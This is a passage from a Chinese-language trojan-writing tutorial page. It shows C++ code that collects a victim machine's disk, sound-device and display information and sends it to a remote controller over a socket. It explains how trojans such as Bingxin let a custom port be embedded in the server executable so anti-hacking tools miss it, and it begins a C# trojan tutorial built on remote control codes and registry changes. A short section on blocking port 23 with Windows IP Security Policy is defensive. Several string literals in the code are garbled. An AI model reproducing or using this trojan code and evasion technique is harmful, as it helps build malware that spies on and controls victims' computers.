木马编写教程学习木马编写的好资料 联系客服

发布时间 : 星期六 文章木马编写教程学习木马编写的好资料更新完毕开始阅读

type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁盘类型 if(type==0){

cs=\未知类型磁盘:\ fwrite(cs.c_str(),cs.Length(),1,fp); } else if(type==2){

cs=\可移动类型磁盘:\ fwrite(cs.c_str(),cs.Length(),1,fp); } else if(type==3){

cs=\固定磁盘:\ fwrite(cs.c_str(),cs.Length(),1,fp); }

else if(type==4) {

cs=\网络映射磁盘:\ fwrite(cs.c_str(),cs.Length(),1,fp); }

else if (type==5) {

cs=\光驱:\ fwrite(cs.c_str(),cs.Length(),1,fp); }

else if (type==6) {

cs=\内存虚拟磁盘:\ fwrite(cs.c_str(),cs.Length(),1,fp); }

if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100)) {

cs=String(name)+\盘卷标为:\ fwrite(cs.c_str(),cs.Length(),1,fp);

cs=String(name)+\盘序号为:\ fwrite(cs.c_str(),cs.Length(),1,fp);

GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数

totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量 freespace=int(free)*byte*sector/1024/1024; //计算可用空间

cs=String(name)+String(‘:‘)+\盘总空间(Mb):\ fwrite(cs.c_str(),cs.Length(),1,fp);

cs=String(name)+String(‘:‘)+\盘可用空间(Mb):\ fwrite(cs.c_str(),cs.Length(),1,fp); } }

int wavedevice,mididevice; WAVEOUTCAPS wavecap; MIDIOUTCAPS midicap;

wavedevice=(int)waveOutGetNumDevs(); //波形设备信息 mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息 if (wavedevice!=0){

waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS)); cs=\当前波形设备:\ fwrite(cs.c_str(),cs.Length(),1,fp); } if (mididevice!=0){

midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS)); cs=\当前MIDI设备:\ fwrite(cs.c_str(),cs.Length(),1,fp); } long double tcs; long double tc; long int bpp,cp;

cs=\当前分辨率为:\fwrite(cs.c_str(),cs.Length(),1,fp);

bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL); tcs=pow(2,bpp); //计算色彩的梯度数

cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES); tc= pow(double(tcs),double(cp)); //计算色深 AnsiString sss; sss=bpp;

cs=\当前色深为:\fwrite(cs.c_str(),cs.Length(),1,fp); fclose(fp);

AnsiString FileName=\char *buf; TcpMsgUint Msg2;

strcpy(Msg2.TPassword,Password);

TMemoryStream *ms=new TMemoryStream; ms->Clear();

if (!FileExists(FileName)) CheckHard();

TFileStream *fs=new TFileStream(FileName,fmOpenRead); buf=new char[fs->Size+sizeof(TcpMsgUint)+1]; fs->Read(buf,fs->Size); Msg2.Type=MsgGetHardWare; Msg2.Length=fs->Size; FileClose(fs->Handle);

ms->Write(&Msg2,sizeof(TcpMsgUint)); ms->Write(buf,Msg2.Length); ms->Position=0; delete []buf; try{

sock->SendStream(ms); }

catch(Exception&e) { } }

上面一段程序,基本上把相关的系统信息都取到了。

7、服务器端程序的包装与加密

用过冰河的人都知道,冰河允许用户自定义端口号。这样做的目的,是为了防止被反黑程序检测出来,这种功能是如何实现的呢?

首先让我们来做一个实验:

进入Windows的命令行模式下做如下操作 1)C:\\\\>copy Server.Exe Server.Bak

2)建立一个文本文件Test.Txt,其内容为“http://www.patching.net” 3)C:\\\\>type Text.Txt>>Server.Exe 4)运行Server.Exe

怎么样?是不是发现Server.Exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里:首先生成了一个EXE文件,这个EXE文件里有一项读取自身进程内容的操作,读取时,文件的指针直接指向进程的末尾,从末尾的倒数N个字节处取得用户定制的信息,比如端口号等,然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一些文件打包程序代码,它所使用的技术是大同小异的。

8、总结

以上讲的几点技术,基本上包括了所有第二代木马的特点,个别的木马程序支持服务器列表,宏传播等,实现上大同小异。随着技术的不断更新和发展,相信离第五代木马出现的日子已经不远了,黑与反黑,如此往复的的进行下去,看来反黑工作要走的路还很长,从根本上防止木马,也只有从我们自身对木马的认识开始,希望这篇文章在您阅读之后能带给您一些反黑技术上的帮助。 IP安全策略 VS 特洛伊木马

当木马悄悄打开某扇“方便之门”(端口)时,不速之客就会神不知鬼不觉地侵入你的电脑。如果被种下木马其实也不必担心,首先我们要切断它们与外界的联系(就是 堵住可疑端口)。

在Win 2000/XP/2003系统中,Microsoft管理控制台(MMC)已将系统的配置功能汇集成配置模块,大大方便我们进行特殊的设置(以Telnet利用的23端口为例,笔者的操作系统为Win XP)。

操作步骤

首先单击“运行”在框中输入“mmc”后回车,会弹出“控制台1”的窗口。我们依次选择“文件→添加/删除管理单元→在独立标签栏中点击‘添加’→IP安全策略管理”,最后按提示完成操作。这时,我

们已把“IP安全策略,在本地计算机”(以下简称“IP安全策略”)添加到“控制台根节点”下。

现在双击“IP安全策略”就可以新建一个管理规则了。右击“IP安全策略”,在弹出的快捷菜单中选择“创建IP安全策略”,打开IP安全策略向导,点击“下一步→名称默认为‘新IP安全策略’→下一步→不必选择‘激活默认响应规则’”(注意:在点击“下一步的同时,需要确认此时“编辑属性”被选中),然后选择“完成→在“新IP安全策略属性→添加→不必选择‘使用添加向导’”。

在寻址栏的源地址应选择“任何IP地址”,目标地址选择“我的IP地址”(不必选择镜像)。在协议标签栏中,注意类型应为TCP,并设置IP协议端口从任意端口到此端口23,最后点击“确定”即可。这时在“IP筛选器列表”中会出现一个“新IP筛选器”,选中它,切换到“筛选器操作”标签栏,依次点击“添加→名称默认为‘新筛选器操作’→添加→阻止→完成”。

新策略需要被激活才能起作用,具体方法是:在“新IP安全策略”上点右键,“指派”刚才制定的策略。

效果

现在,当我们从另一台电脑Telnet到设防的这一台时,系统会报告登录失败;用扫描工具扫描这台机子,会发现23端口仍然在提供服务。以同样的方法,大家可以把其它任何可疑的端口都封杀掉,让不速之客们大叫“不妙”去吧! 用C#实现木马程序分析 前言:

因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。

使用的技术:

控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。

控制端开发:

控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。

控制端的开发:

控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。